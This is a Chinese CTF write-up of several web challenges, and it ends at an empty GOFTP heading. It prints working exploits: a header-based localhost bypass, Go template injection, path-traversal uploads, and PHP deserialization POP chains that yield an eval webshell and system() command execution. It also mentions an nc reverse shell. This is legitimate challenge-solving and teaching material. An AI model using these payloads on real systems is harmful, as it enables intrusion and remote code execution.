考试前摸了一波鱼,就做了几道WEB题
Loginme
签到题是Go写的,也给了源码。
首先是利用X-REAL-IP
请求头绕过localhost检测:
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" { c.AbortWithStatus(403) return } ip := c.ClientIP() if ip == "127.0.0.1" { c.Next() } else { c.AbortWithStatus(401) }
然后是一段go语言的模板注入:
age := TargetUser.Age html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
这里就直接传入id=0&age={{.}}
就能得到flag
Upload_it
这里是给了一个文件上传的点,可以将文件传入/tmp/sandbox/xxxx
的一个目录。如果指定了PATH变量则会将/tmp/sandbox/xxxx
与PATH进行一次拼接,然后将上传的文件放入这个目录,接着就可以进行目录穿越,可以将文件上传到其他目录。不过WEB根目录并没有给写入的权限,不能直接传马上去。
然后开始分析源码,主要的逻辑在这里:
if (!empty($_POST['path'])) { $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path']; $upload_file = $upload_file_path."/".$file['name']; } else { $upload_file_path = $_SESSION["upload_path"]; $upload_file = $_SESSION["upload_path"]."/".$file['name']; } if (move_uploaded_file($file['tmp_name'], $upload_file)) { echo "OK! Your file saved in: " . $upload_file; } else { echo "emm...Upload failed:("; }
首先初始化的时候如果$_SESSION["upload_path"]
为空则先设置$_SESSION["upload_path"]
。然后进入到上面的代码,取出$_SESSION["upload_path"]
然后与path
进行拼接。
这里可以上传任意文件到/tmp
目录下,于是可以控制session文件,接着可以进行session反序列化,正好后面有字符串的拼接可以触发$_SESSION["upload_path"]
的__toString()
方法,然后开始挖掘反序列化利用链。
他给的源码中有composer.json
文件,可以看到他用了这两个依赖
"require": { "symfony/string": "^5.3", "opis/closure": "^3.6" }
于是POC如下:
<?php namespace Symfony\Component\String{ class LazyString{ private $value; public function __construct(){ include("../vendor/opis/closure/autoload.php"); $func = function (){@eval($_POST[0]);echo "eastjun";}; $a = \Opis\Closure\serialize($func); $b = unserialize($a); $this->value=$b; } } } namespace { use Symfony\Component\String\LazyString; session_start(); $a = new LazyString(); $_SESSION["upload_path"] = $a; }
接着把session文件复制出来,上传到服务器的/tmp
目录,在下一次上传文件时触发RCE。
Upload_it_2
这题思路和上面是一样的,不同的地方在于依赖中没有了opis/closure
,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含,反序列化利用链的POC要重新写:
<?php namespace { class sandbox { private $evil = "/flag"; public $upload_path; public function make_user_upload_dir() { $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id()); $this->upload_path = UPLOAD_PATH . "/" . $md5_dir; @mkdir($this->upload_path); $_SESSION["upload_path"] = $this->upload_path; } public function has_upload_dir() { return !empty($_SESSION["upload_path"]); } public function __wakeup() { throw new Error("NO NO NO"); } public function __destruct() {} public function __call($func, $value) { if (method_exists($this, $func)) { call_user_func_array( [$this, $func], $value ); } } private function backdoor() { include_once $this->evil; } } } namespace Symfony\Component\String{ class LazyString{ private $value; public function __construct(){ $a = array(new \sandbox(),"backdoor"); $this->value=$a; } } session_start(); $a = new LazyString(); $_SESSION["upload_path"] = $a; }
直接包含flag就有了:
FUMO_on_the_Christmas_tree
和强网杯的pop master一样,给了几万个类,要我们进行反序列化。__destruct()
方法只有一处:
这里对他给的源码进行分析,每个类只有一个方法,方法里传入的参数可能会几个函数进行处理,例如base64_encode
、base64_decode
、str_rot13
、md5
、sha1
、ucfirst
、strrev
。可以看到其中有一部分是不可逆的,还有一部分是可逆的。
其次方法中也有对成员变量的方法进行调用,主要有几种形式:
-
直接调用的:
if (is_callable([$this->QIowTK, 'RMGyBe'])) @$this->QIowTK->RMGyBe($QFCcbS);
-
通过
call_user_func
调用__invoke()
魔术方法
@call_user_func($this->AHT5Wz3, ['tcpfCW0' => $EM5mVC1GNm]); public function __invoke($value) { $key = base64_decode('dGNwZkNXMA=='); @$this->g4IE9M->RVaIMSg8($value[$key]); }
-
通过直接调用触发
__call
方法然后再调用的
if (is_callable([$this->hqT7MH7bO, 'vxgLqkX'])) @$this->hqT7MH7bO->vxgLqkX($tth7aWMpV); public function __call($name,$value) { extract([$name => 'lP9EIpfG0u']); if (is_callable([$this->i9pCwmEw0E, $vxgLqkX])) call_user_func([$this->i9pCwmEw0E, $vxgLqkX], ...$value); }
最终调用到的方法是一个readfile()
方法读取/fumo
文件就能得到flag
if(stripos($fTlQohA, "/fumo") === 0) readfile(strtolower($fTlQohA));
大概的思路是用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()
方法为入口进行搜索,直到最后遇到readfile()
方法。
生成反序列化利用链的POC如下:
import re import base64 otov = {} vtoo = {} otoc = {} ctoo = {} otof = {} ftoo = {} otoa = {} classes = {} def trav(name, cls, al): if "fumo" in classes[name]: print("->".join(cls)) print(f"start->{'->'.join(al)}->end",end="\n\n") return 1 for call in otoc[name]: if call in ftoo.keys(): next = ftoo[call] if next not in cls: trav(next, cls + [next], al+[otoa[name]]) return 0 if __name__ == "__main__": with open("class.code") as f: text = f.read() res = re.findall("class[\w\W]+?}[\w\W]+?}", text) for i in res: name = re.findall("class (\w+)", i)[0] classes[name] = i fs = re.findall("public object (\$\w+?);", i) otov[name] = fs for fc in fs: vtoo[fc] = name calls = re.findall("\$this->\w+?->(\w+)\(", i) calls1 = [] a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i) disable = ("md5", "sha1", "crypt", "ucfirst") for call in calls: ctoo[call] = name if len(a) == 0 and "crypt" not in i: calls1.append(call) otoa[name]="" else: if len(a) == 0: a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i) if len(a)==1: a = list(a[0]) if "crypt" in i: a[1] = "crypt" otoa[name] = a[1] if a[0] == a[2] and ( a[1] != "" and not (a[1] in disable and i.find(a[1]) < i.find(call)) or a[1] == ""): calls1.append(call) calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i) if calls2: ctoo[name] = calls2[0] otoa[name] = "" otoc[name] = calls1 + calls2 func = re.findall("function (\w+?)\(", i)[0] ftoo[func] = name otof[name] = func if func == "__call": calls = re.findall("=> '(\w+?)'", i) otoc[name] = calls ctoo[calls[0]] = name func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0] otof[name] = func ftoo[func] = name otoa[name] = "" elif func == "__invoke": calls = re.findall("\$this->\w+?->(\w+?)\(", i) otoc[name] = calls ctoo[calls[0]] = name func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0] func = base64.b64decode(func.encode()).decode() otof[name] = func ftoo[func] = name otoa[name] = "" trav(ftoo["__destruct"], [ftoo["__destruct"]],[])
我拿到的数据中正好有一条链只经过了偶数个可逆操作和一个ucfirst
操作的链,接着可以手写POP链进行反序列化。
ezosu
给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件。
其中反代这里只有对请求进行转发和/app/static
目录下的一大堆静态文件
location = / { proxy_pass http://imi:8080; }
IMi框架中Index控制器中有一个config方法,主要代码如下:
if ($method === "POST") { Session::clear(); $configData = $this->request->getParsedBody(); foreach ($configData as $k => $v) { Session::set($k, $v); } } else if ($method === "GET") { $configData = Session::get(); if ($configData != null) { $res["value"] = $configData; } else { $res = [ "msg" => "Not Find", "status" => "404", "value" => null ]; } }
使用POST传参则将json中的值放到Session中,然后使用GET请求访问则获取Session中所有的值并显示出来。
因为给了Dockerfile,所以我直接在本地搭建了环境。然后在本地找session文件,在/config
路由传入下面的json时,可以看到session文件的格式
json:{"e":"b","c":"a"} session文件:e|s:1:"b";c|s:1:"a";jspsz5f4usb|s:1:"=";
然后是想到了session反序列化,考虑对session文件进行闭合,例如传入json如下时在查看的时候发现Imi框架将session中的c值解析成了数组,成功反序列化了一个数组。
json:{"e":"b","c|a:0:{}a":"a"} session文件:e|s:1:"b";c|a:0:{}a|s:1:"a";q0b06v5mb0l|s:1:"="; 框架解析的value:{"e":"b","c":[],"a":"a","q0b06v5mb0l":"="}
接着可以开始考虑挖掘反序列化利用链,POC入下:
<?php namespace PhpOption{ abstract class Option{ } final class LazyOption extends Option{ private $option = null; private $callback; private $arguments; public function __construct(){ $this->callback = "system"; $this->arguments = array("whoami >/tmp/res"); } } } namespace Symfony\Component\String{ use PhpOption\LazyOption; class LazyString{ private $value; public function __construct(){ $this->value = array(new LazyOption(),"get"); } } } namespace{ use Symfony\Component\String\LazyString; $a = new LazyString(); echo json_encode(serialize($a)); }
然后将这一段json传入/config
路由,再使用GET方法访问/config
路由时触发RCE
{"e":"b","c|O:35:\"Symfony\\Component\\String\\LazyString\":1:{s:42:\"\u0000Symfony\\Component\\String\\LazyString\u0000value\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\":3:{s:28:\"\u0000PhpOption\\LazyOption\u0000option\";N;s:30:\"\u0000PhpOption\\LazyOption\u0000callback\";s:6:\"system\";s:31:\"\u0000PhpOption\\LazyOption\u0000arguments\";a:1:{i:0;s:16:\"whoami >\/tmp\/res\";}}i:1;s:3:\"get\";}}a":"a"}
然后使用nc反弹shell:
GOFTP